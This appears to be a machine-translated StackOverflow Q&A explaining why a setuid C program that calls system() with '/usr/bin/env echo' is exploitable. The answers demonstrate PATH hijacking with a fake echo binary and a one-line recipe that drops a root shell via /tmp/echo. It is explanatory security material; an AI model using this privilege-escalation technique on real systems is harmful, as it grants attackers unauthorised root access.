此C代码有什么脆弱的?
-
25-10-2019 - |
题
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
我的理解方式,上面的代码允许任意代码(或程序)执行 - 是什么使这个脆弱的人,以及如何利用这一点?
解决方案
你可以覆盖 PATH
可变量指向您的自定义版本的目录 echo
从那以后 echo
使用 env
, ,它没有被视为内置。
仅当代码作为特权用户运行时,这才构成漏洞。
在下面的示例中,文件VC包含问题中的代码。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
请注意,通过调用到 setresuid()
在打电话之前 system()
在问题中发布的脆弱代码中,即使只有有效的用户ID设置为特权用户ID,并且真实的用户ID仍然没有特权(例如,在依靠set-user-id bit上的情况下,就可以利用漏洞如上所述)。没有电话 setresuid()
外壳由 system()
将有效的用户ID重置回真实的用户ID,从而使利用无效。但是,在使用特权用户的真实用户ID运行的情况下, system()
一个人打电话就足够了。引用 sh
男人页:
如果shell是从有效的用户(组)ID启动的,则不等于真实的用户(组)ID,并且未提供-P选项,则没有读取启动文件,则不会从环境中继承shell功能,shellOpts如果变量出现在环境中,则将忽略,并将有效的用户ID设置为真实的用户ID。如果在调用时提供了-P选项,则启动行为是相同的,但是有效的用户ID并未重置。
另外,请注意 setresuid()
无法便携,但是 setuid()
或者 setreuid()
也可以使用相同的效果。
其他提示
好吧,实际上在系统函数调用中,您可以弄乱 echo
命令。例如,如果执行以下代码:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
您将获得带有文件所有者许可的外壳
不隶属于 StackOverflow